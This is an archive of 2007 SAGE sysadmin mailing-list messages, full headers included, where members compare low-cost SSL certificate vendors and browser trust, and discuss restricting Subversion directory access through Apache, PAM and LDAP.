Received: from sceptre.pobox.com (localhost.localdomain [127.0.0.1])
	by sceptre.pobox.com (Postfix) with ESMTP id 37C2679D;
	Fri, 19 Jan 2007 19:08:57 -0500 (EST)
Received: from localhost (cpe-66-108-14-241.nyc.res.rr.com [66.108.14.241])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by sceptre.sasl.smtp.pobox.com (Postfix) with ESMTP id 0E8DB1EF10;
	Fri, 19 Jan 2007 19:08:56 -0500 (EST)
Date: Fri, 19 Jan 2007 19:08:33 -0500
From: "Philip J. Hollenback" <philiph@pobox.com>
To: "Sandor W. Sklar" <ssklar@stanford.edu>
Cc: sage-members@sage.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Message-ID: <20070120000830.GO20885@hollenback.net>
Reply-To: philiph@pobox.com
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
	<D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
User-Agent: mutt-ng/devel-r655 (Darwin)
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=12%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 01/19/07, Sandor W. Sklar wrote:
> We've switched to certs from Comodo (www.instantssl.com), which are
> much less expensive then those from Verisign (I think they are $70
> for a two year cert.)  The main problem has been that not all
> browsers "trust" these certs; you have to install on your server an
> certificate chain file that adds this trust level.  Not difficult,
> just another thing to deal with.

rapidssl.com (the source of the certs that namecheap.com resells)
makes a big deal about their single source certificates
(http://www.rapidssl.com/ssl-certificate-support/ssl-faq.htm) and
clams they work in all modern browsers without any changes.  My
testing supports that claim.  Plus since namecheap.com sells the certs
for less than $15/each per year that seems like a better deal than the
Comodo certs unless I am missing something.

The only thing I wonder is if this is some sort of introductory price
and they will go up to $70/year later on.

-- 
Philip J. Hollenback
www.hollenback.net


From sage-members-owner@usenix.org Fri Jan 19 16:19:48 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K0JmGH020154
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 16:19:48 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0K0JlVp020150
	for sage-members-0utGoign; Fri, 19 Jan 2007 16:19:47 -0800 (PST)
Received: from gretel.pobox.com (gretel.pobox.com [208.58.1.197])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K0JeT0020142
	for <sage-members@sage.org>; Fri, 19 Jan 2007 16:19:46 -0800 (PST)
Received: from rune.pobox.com (rune.pobox.com [208.210.124.79])
	by gretel.pobox.com (Postfix) with ESMTP id 060E2546BB19
	for <sage-members@sage.org>; Fri, 19 Jan 2007 19:18:07 -0500 (EST)
Received: from rune (localhost [127.0.0.1])
	by rune.pobox.com (Postfix) with ESMTP id C8A9DAC47D;
	Fri, 19 Jan 2007 19:17:49 -0500 (EST)
Received: from localhost (cpe-66-108-14-241.nyc.res.rr.com [66.108.14.241])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by rune.sasl.smtp.pobox.com (Postfix) with ESMTP id 9B09DAC40F;
	Fri, 19 Jan 2007 19:17:48 -0500 (EST)
Date: Fri, 19 Jan 2007 19:17:25 -0500
From: "Philip J. Hollenback" <philiph@pobox.com>
To: Jonathan Billings <billings@negate.org>
Cc: sage-members@sage.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Message-ID: <20070120001725.GQ20885@hollenback.net>
Reply-To: philiph@pobox.com
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
	<D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
	<45B125F8.8050307@negate.org>
	<55E31D63-F9CA-47B9-B503-3072C11D2F0A@stanford.edu>
	<45B12BAE.3070007@negate.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <45B12BAE.3070007@negate.org>
User-Agent: mutt-ng/devel-r655 (Darwin)
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=11%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 01/19/07, Jonathan Billings wrote:
> The original poster's email indicated that it *was* for an internal
> site (and that's why I qualified it as such).  No point paying for
> something when the free alternative requires the same procedure.

But in this case I think I have to pay for something.  Otherwise I
will have to spend a large amount of time configuring all the
different clients and operating systems.  So even though this is for
internal use I still want to purchase certificates to minimize this
work.  It isn't realistic to ask all users to configure their clients
themselves.  Thus I really want to know if these 'cheap' certificates
are sufficient and I'm not somehow opening myself up to some sort of
security problem later on.

-- 
Philip J. Hollenback
www.hollenback.net


From sage-members-owner@usenix.org Fri Jan 19 16:22:01 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K0M05I020500
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 16:22:01 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0K0M0sC020498
	for sage-members-0utGoign; Fri, 19 Jan 2007 16:22:00 -0800 (PST)
Received: from lollipop.listbox.com (lollipop.listbox.com [208.210.124.78])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K0Liea020453
	for <sage-members@sage.org>; Fri, 19 Jan 2007 16:21:55 -0800 (PST)
Received: from sceptre.pobox.com (sceptre.pobox.com [207.106.133.20])
	by lollipop.listbox.com (Postfix) with ESMTP id B679C436973
	for <sage-members@sage.org>; Fri, 19 Jan 2007 19:13:31 -0500 (EST)
Received: from sceptre.pobox.com (localhost.localdomain [127.0.0.1])
	by sceptre.pobox.com (Postfix) with ESMTP id 21D1D78C;
	Fri, 19 Jan 2007 19:13:16 -0500 (EST)
Received: from localhost (cpe-66-108-14-241.nyc.res.rr.com [66.108.14.241])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by sceptre.sasl.smtp.pobox.com (Postfix) with ESMTP id DF3DE1EE73;
	Fri, 19 Jan 2007 19:13:14 -0500 (EST)
Date: Fri, 19 Jan 2007 19:12:52 -0500
From: "Philip J. Hollenback" <philiph@pobox.com>
To: Jonathan Billings <billings@negate.org>
Cc: sage-members@sage.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Message-ID: <20070120001251.GP20885@hollenback.net>
Reply-To: philiph@pobox.com
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
	<D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
	<45B125F8.8050307@negate.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <45B125F8.8050307@negate.org>
User-Agent: mutt-ng/devel-r655 (Darwin)
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=22%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 01/19/07, Jonathan Billings wrote:
> If you're installing a certificate chain file to support a
> certificate, and this is only for a internal site, there's no point
> buying a $70 SSL cert when you can make your own for free.

Right.  I've already decided to buy 'official' certificates (i.e. ones
that are already included in the standard browsers.  I wish that
cacert.org certificates were included in Firefox but apparently that
is a real can of worms.

> If the clients using the internal site are using windows and use AD,
> I *believe* there's a way to push out the SSL root through active
> directory.  I've seen it done but haven't ever run my own AD domain.

Doesn't apply for us because we have a mixed linux/windows
environments and multiple clients (Firefox, IE, Outlook, Thunderbird,
etc).

P.

-- 
Philip J. Hollenback
www.hollenback.net


From sage-members-owner@usenix.org Fri Jan 19 16:31:52 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K0Vq9c021163
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 16:31:52 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0K0VqVx021162
	for sage-members-0utGoign; Fri, 19 Jan 2007 16:31:52 -0800 (PST)
Received: from lollipop.listbox.com (lollipop.listbox.com [208.210.124.78])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K0VYoH021153
	for <sage-members@usenix.org>; Fri, 19 Jan 2007 16:31:39 -0800 (PST)
Received: from sceptre.pobox.com (sceptre.pobox.com [207.106.133.20])
	by lollipop.listbox.com (Postfix) with ESMTP id 8120541B000
	for <sage-members@usenix.org>; Fri, 19 Jan 2007 19:19:20 -0500 (EST)
Received: from sceptre.pobox.com (localhost.localdomain [127.0.0.1])
	by sceptre.pobox.com (Postfix) with ESMTP id 036D573A;
	Fri, 19 Jan 2007 19:19:13 -0500 (EST)
Received: from localhost (cpe-66-108-14-241.nyc.res.rr.com [66.108.14.241])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by sceptre.sasl.smtp.pobox.com (Postfix) with ESMTP id CF6741EEF7;
	Fri, 19 Jan 2007 19:19:11 -0500 (EST)
Date: Fri, 19 Jan 2007 19:18:48 -0500
From: "Philip J. Hollenback" <philiph@pobox.com>
To: Mike Noble <mgnoble@gmail.com>
Cc: sage-members@usenix.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Message-ID: <20070120001847.GR20885@hollenback.net>
Reply-To: philiph@pobox.com
References: <20070119170207.GH20885@hollenback.net>
	<200701191123.59646.mgnoble@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <200701191123.59646.mgnoble@gmail.com>
User-Agent: mutt-ng/devel-r655 (Darwin)
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=22%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 01/19/07, Mike Noble wrote:
> I have used registerfly in the past and had no issues.  You can get
> a certificate for $9.99/yr or you can spend as much as $99.99/yr.
> Depends on what you really need.

I looked at registerfly too but my web searching turned up a lot of
complaints about their customer service.  namecheap.com was the next
least expensive choice and I didn't find so many complaints.

P.

-- 
Philip J. Hollenback
www.hollenback.net


From sage-members-owner@usenix.org Fri Jan 19 17:01:01 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K10qSk022272
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 17:00:58 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0K10qsj022271
	for sage-members-0utGoign; Fri, 19 Jan 2007 17:00:52 -0800 (PST)
Received: from indyramp.com (ns.indyramp.com [69.55.235.230])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K10V0X022255
	for <sage-members@usenix.org>; Fri, 19 Jan 2007 17:00:42 -0800 (PST)
Received: from external (external [69.55.235.230])
	by indyramp.com (Postfix) with ESMTP
	id 4ABEE9EB56; Fri, 19 Jan 2007 17:00:31 -0800 (PST)
Date: Fri, 19 Jan 2007 17:00:31 -0800 (PST)
From: Robert Novak <rnovak@indyramp.com>
To: "Philip J. Hollenback" <philiph@pobox.com>
Cc: sage-members@usenix.org
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
In-Reply-To: <20070120001847.GR20885@hollenback.net>
Message-ID: <20070119165915.U18632@external.indyramp.com>
References: <20070119170207.GH20885@hollenback.net>
	<200701191123.59646.mgnoble@gmail.com>
	<20070120001847.GR20885@hollenback.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, 19 Jan 2007, Philip J. Hollenback wrote:

> I looked at registerfly too but my web searching turned up a lot of
> complaints about their customer service.  namecheap.com was the next
> least expensive choice and I didn't find so many complaints.

I've used Godaddy certificates in production before; the TurboSSL cert is 
$15-20 and there's almost always a coupon out in the wild. They also have 
affordable wildcard certs, about half the cost of other wildcard certs. I 
think they are a chained solution but are generally accepted.

Rob

-- 
  - Robert Novak - rnovak@indyramp.com -
"And when somebody knows you well Well, there's no comfort like that
   And when somebody needs you Well, there's no drug like that"
                                                            -- heather nova
                                 12 11 0 1 6 7 8 9



From sage-members-owner@usenix.org Fri Jan 19 17:03:38 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K13beT022474
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 17:03:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0K13bhl022473
	for sage-members-0utGoign; Fri, 19 Jan 2007 17:03:37 -0800 (PST)
Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.231])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K13Aa2022431
	for <sage-members@usenix.org>; Fri, 19 Jan 2007 17:03:21 -0800 (PST)
Received: by nz-out-0506.google.com with SMTP id m22so470701nzf
	for <sage-members@usenix.org>; Fri, 19 Jan 2007 17:03:10 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:from:to:subject:date:user-agent:cc:references:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:message-id;
	b=CZs5BwifpdvsvB3cJPylMizKaJZ5MIn54nef2k3T/FhL2qhCkwj3vFzr6YEuiH9DLPl+jOrnDU/Z6Mga40Edjz7Hjs9adFDV3uVLpBm65i8Ve2EaLri9e3pe1qnmz0cmwnJ8V6mmcUjRm8Vm1Ox6YPQ2WmfPhwkQDyTUkjxQA+Q=
Received: by 10.65.219.13 with SMTP id w13mr3960259qbq.1169254989763;
	Fri, 19 Jan 2007 17:03:09 -0800 (PST)
Received: from ?192.168.1.102? ( [68.6.160.137])
	by mx.google.com with ESMTP id q15sm3361829qbq.2007.01.19.17.03.08;
	Fri, 19 Jan 2007 17:03:09 -0800 (PST)
From: Mike Noble <mgnoble@gmail.com>
To: philiph@pobox.com
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Date: Fri, 19 Jan 2007 17:03:05 -0800
User-Agent: KMail/1.9.5
Cc: sage-members@usenix.org
References: <20070119170207.GH20885@hollenback.net>
	<200701191123.59646.mgnoble@gmail.com>
	<20070120001847.GR20885@hollenback.net>
In-Reply-To: <20070120001847.GR20885@hollenback.net>
MIME-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Message-Id: <200701191703.05936.mgnoble@gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=4%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Friday 19 January 2007 16:18, Philip J. Hollenback wrote:
> On 01/19/07, Mike Noble wrote:
> > I have used registerfly in the past and had no issues.  You can get
> > a certificate for $9.99/yr or you can spend as much as $99.99/yr.
> > Depends on what you really need.
>
> I looked at registerfly too but my web searching turned up a lot of
> complaints about their customer service.  namecheap.com was the next
> least expensive choice and I didn't find so many complaints.
>
> P.

The only issue I had with Registerfly (about 2 years ago) was that the 
web site allowed me to sign up for 3 years and only go the cert for 1 year.
They may have fixed it now, and did refund the difference.
Other than that, never had to contact their customer service.

Mike


From sage-members-owner@usenix.org Fri Jan 19 19:33:30 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K3XFtR026390
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 19:33:20 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0K3XE6p026387
	for sage-members-0utGoign; Fri, 19 Jan 2007 19:33:14 -0800 (PST)
Received: from sccrmhc14.comcast.net (sccrmhc14.comcast.net [204.127.200.84])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K3WQms026364
	for <sage-members@sage.org>; Fri, 19 Jan 2007 19:32:46 -0800 (PST)
Received: from [192.168.15.100]
	(c-71-229-151-105.hsd1.co.comcast.net[71.229.151.105])
	by comcast.net (sccrmhc14) with SMTP
	id <2007012003321301400nb7rue>; Sat, 20 Jan 2007 03:32:17 +0000
Mime-Version: 1.0 (Apple Message framework v752.3)
In-Reply-To: <20070120000830.GO20885@hollenback.net>
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
	<D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
	<20070120000830.GO20885@hollenback.net>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <446D0DC0-2C93-4D13-B115-DD200A6F66A2@pobox.com>
Content-Transfer-Encoding: 7bit
From: Peter Burkholder <pburkholder@pobox.com>
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Date: Fri, 19 Jan 2007 20:30:31 -0700
To: sage-members@sage.org
X-Mailer: Apple Mail (2.752.3)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=1%
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Jan 19, 2007, at 5:08 PM, Philip J. Hollenback wrote:

> The only thing I wonder is if this is some sort of introductory price
> and they will go up to $70/year later on.

Wouldn't matter. You can replace your server certs all you like and  
the client doesn't care.  You just have to go through the pain of  
proving yourself to the CA.

--
Peter Burkholder, Technology Consultant
email: pburkholder@pobox.com;  AIM: peterbtech;  Skype: pburkholder
phone: +1-303-497-2663 (work) or +1-303-359-4842 (cell)
http://www.pburkholder.com
PGP Key Fingerprint: B473 C1CF D8B0 7941 8F95  7627 4785 86C9 F1F4 81DC
PGP Key URL:  http://pburkholder.com/gpg.txt






From sage-members-owner@usenix.org Fri Jan 19 19:33:39 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K3XVnR026407
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 19 Jan 2007 19:33:35 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0K3XUAS026406
	for sage-members-0utGoign; Fri, 19 Jan 2007 19:33:30 -0800 (PST)
Received: from sccrmhc14.comcast.net (sccrmhc14.comcast.net [204.127.200.84])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K3WQmt026364
	for <sage-members@sage.org>; Fri, 19 Jan 2007 19:33:14 -0800 (PST)
Received: from [192.168.15.100]
	(c-71-229-151-105.hsd1.co.comcast.net[71.229.151.105])
	by comcast.net (sccrmhc14) with SMTP
	id <2007012003322901400nb7rve>; Sat, 20 Jan 2007 03:32:29 +0000
Mime-Version: 1.0 (Apple Message framework v752.3)
In-Reply-To: <20070120001725.GQ20885@hollenback.net>
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
	<D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
	<45B125F8.8050307@negate.org>
	<55E31D63-F9CA-47B9-B503-3072C11D2F0A@stanford.edu>
	<45B12BAE.3070007@negate.org>
	<20070120001725.GQ20885@hollenback.net>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <A919697C-1C7A-4B9A-A5F5-1169D34A06E2@pobox.com>
Cc: sage-members@sage.org
Content-Transfer-Encoding: 7bit
From: Peter Burkholder <pburkholder@pobox.com>
Subject: Re: [SAGE] Are cheap SSL certificates legitimate?
Date: Fri, 19 Jan 2007 20:30:48 -0700
X-Mailer: Apple Mail (2.752.3)
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=1%
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Jan 19, 2007, at 5:17 PM, Philip J. Hollenback wrote:

> On 01/19/07, Jonathan Billings wrote:
>> The original poster's email indicated that it *was* for an internal
>> site (and that's why I qualified it as such).  No point paying for
>> something when the free alternative requires the same procedure.
>
> But in this case I think I have to pay for something.  Otherwise I
> will have to spend a large amount of time configuring all the
> different clients and operating systems.  So even though this is for
> internal use I still want to purchase certificates to minimize this
> work.  It isn't realistic to ask all users to configure their clients
> themselves.  Thus I really want to know if these 'cheap' certificates
> are sufficient and I'm not somehow opening myself up to some sort of
> security problem later on.

There's the outside chance that if a CA behaves badly, then browser  
vendors may cease to carry their certificates.  The Mozilla  
Foundation policy at

http://www.mozilla.org/projects/security/pki/nss/ca-certificates/ 
policy.html

states:

	We reserve the right to not include a particular CA certificate in  
our software products, to discontinue including a particular CA  
certificate in 	our products, or to modify the "trust bits" for a  
particular CA certificate included in our products, at any time and  
for any reason.

If El Cheapo CAs are distributing certs w/o taking due care to  
validate the requestor, or providing for CRL distribution, then they  
could have their certs yanked from future products.  I seem to recall  
that some of the CAs included in early Netscape are no longer in most  
browsers.  I don't know how many servers may have had certs issued by  
them.

Finding the Firefox 2.1 no longer carries your CA would be  
disappointing, but then again it's a pretty slim chance, and far from  
the end of the world.


>
> -- 
> Philip J. Hollenback
> www.hollenback.net

--
Peter Burkholder
email: pburkholder@pobox.com;  AIM: peterbtech;  Skype: pburkholder
phone: +1-303-497-2663 (work) or +1-303-359-4842 (cell)
http://www.pburkholder.com
PGP Key Fingerprint: B473 C1CF D8B0 7941 8F95  7627 4785 86C9 F1F4 81DC
PGP Key URL:  http://pburkholder.com/gpg.txt






From sage-members-owner@usenix.org Sat Jan 20 10:17:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0KIHOno023614
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 20 Jan 2007 10:17:24 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0KIHO7v023613
	for sage-members-0utGoign; Sat, 20 Jan 2007 10:17:24 -0800 (PST)
Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.226])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0KIGmm2023574
	for <sage-members@sage.org>; Sat, 20 Jan 2007 10:16:58 -0800 (PST)
Received: by nz-out-0506.google.com with SMTP id z31so425344nzd
	for <sage-members@sage.org>; Sat, 20 Jan 2007 10:16:47 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=BW0memuvgLr0dZj8YiCnid4wCB9VIuefQX0ib7KJ8+8K+TUxvVoxSLxI6TzP13np2oxmiVTPcCr1R9kmZHvm6SuLY4LjXt02AwCy0Pb+VaV3lKOv6GfSxEit+m8pFRkBcpiwX+1oyDV1u+3F9FbPZKaQmKGGtQbdItSMs17PYwA=
Received: by 10.64.210.3 with SMTP id i3mr4872910qbg.1169317007195;
	Sat, 20 Jan 2007 10:16:47 -0800 (PST)
Received: by 10.65.248.20 with HTTP; Sat, 20 Jan 2007 10:16:47 -0800 (PST)
Message-ID: <cb28d05c0701201016k62333be1oc2ddb72cc0f7c5d0@mail.gmail.com>
Date: Sat, 20 Jan 2007 11:16:47 -0700
From: "Gary Studwell" <gary.studwell@gmail.com>
To: sage-members@sage.org
Subject: Re: [SAGE] Subversion, passwords and ACLs
In-Reply-To: <20070119161746.GA31925@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <20070119161746.GA31925@watson-wilson.ca>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=8%
Sender: owner-sage-members@usenix.org
Precedence: bulk

HI Neil,
    You can do this by accessing your Subversion instance through
Apache instead of running the svnserve daemon.  It can be simple or
fairly complex, and Apache will let you restrict or permit access as
you wish in conjunction with the authz files.  It can use subversion's
local passwd files, which you can use $APACHE_HOME/bin/htpasswd to
maintain.  (Allows non-cleartext passwords on the server.)
     It is also possible to use pam modules with Apache to do the
authentication ("external" methods to Apache).  So that could be local
accounts but directory services or custom methods should be possible.
For using shell account logins, some concerns are what other access
that password allows to your systems.  A concern might be what happens
if the local shell password is compromised.  You will probably want to
disable client-side password caching in any case.

hope that helps,
  Gary Studwell

On 1/19/07, Neil Watson <sage@watson-wilson.ca> wrote:
> Suppose I have a Subversion repository:
>
> /trunk/
> /branches/dev
> /branches/qa
>
> I want to be able to limit users to certain directories.  John should
> only be able to access branches/qa.  Jane should only be able to access
> branches/dev.
>
> I can accomplish this using Subversion's authz-db files.  Using this
> method users contact a running Subversion daemon.  Their credentials are
> stored in a password-db file.  I do not like that this file is plain
> text.  I also do not like that this does not give the user's a chance to
> change their passwords.
>
> Is there a way to control directory access inside a repository while
> still using UNIX shell accounts for logins?
>
> --
> Neil Watson             | Debian Linux
> System Administrator    | Uptime 6 days
> http://watson-wilson.ca
>


From sage-members-owner@usenix.org Sat Jan 20 11:15:04 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0KJF4l8025722
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 20 Jan 2007 11:15:04 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0KJF4kW025721
	for sage-members-0utGoign; Sat, 20 Jan 2007 11:15:04 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0KJF042025715
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Sat, 20 Jan 2007 11:15:00 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0KJF0pG025714
	for sage-members@usenix.org; Sat, 20 Jan 2007 11:15:00 -0800 (PST)
Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.226])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0K50vf4029683
	for <sage-members@sage.org>; Fri, 19 Jan 2007 21:01:08 -0800 (PST)
Received: by nz-out-0506.google.com with SMTP id z31so371950nzd
	for <sage-members@sage.org>; Fri, 19 Jan 2007 21:00:57 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=WvVtln1oaztSq37pLUwZjMzrnDZZ3MVKOocL61fLkQQB6rIsbq1VZroO6vqWvTahVfS0x6paCXDJoDaGMKzHmuGg1bQF9DgXkh2FvCVYPACUF6W5suxUM2fmGKaJicepZpBub++b9ByjpAKArU9m5IdrkayjLj+s1xvI52G1HOg=
Received: by 10.65.38.7 with SMTP id q7mr4166860qbj.1169268844491;
	Fri, 19 Jan 2007 20:54:04 -0800 (PST)
Received: by 10.65.185.19 with HTTP; Fri, 19 Jan 2007 20:54:04 -0800 (PST)
Message-ID: <42784f260701192054t3b7ae099uac7d049114790db1@mail.gmail.com>
Date: Fri, 19 Jan 2007 20:54:04 -0800
From: "Jason Dusek" <jsn@j-s-n.org>
To: sage-members@sage.org
Subject: Re: [SAGE] Subversion, passwords and ACLs
In-Reply-To: <20070119161746.GA31925@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <20070119161746.GA31925@watson-wilson.ca>
X-Google-Sender-Auth: 42018a864163014e
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=8%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 1/19/07, Neil Watson <sage@watson-wilson.ca> wrote:
> Is there a way to control directory access inside a repository while
> still using UNIX shell accounts for logins?

The short answer is "no". The long answer involves Apache over SSL and
HTTP Basic Authentication. Use the <Location /foo/bar> directives to
protect the directories you are interested in, and then set up Apache
to authenticate in one of two ways:

    the bad way:
        Hook HTTP Basic Authentication to your UNIX password file.

    the good way:
        Set up both PAM and HTTP Basic Authentication to defer to LDAP or
        some similar service. You can set up LDAP to talk to a pipe instead
        of a network socket, essentially network proofing your authentication
        mechanism.

-- 
_jsn


From sage-members-owner@usenix.org Sat Jan 20 11:17:38 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0KJHSdu025882
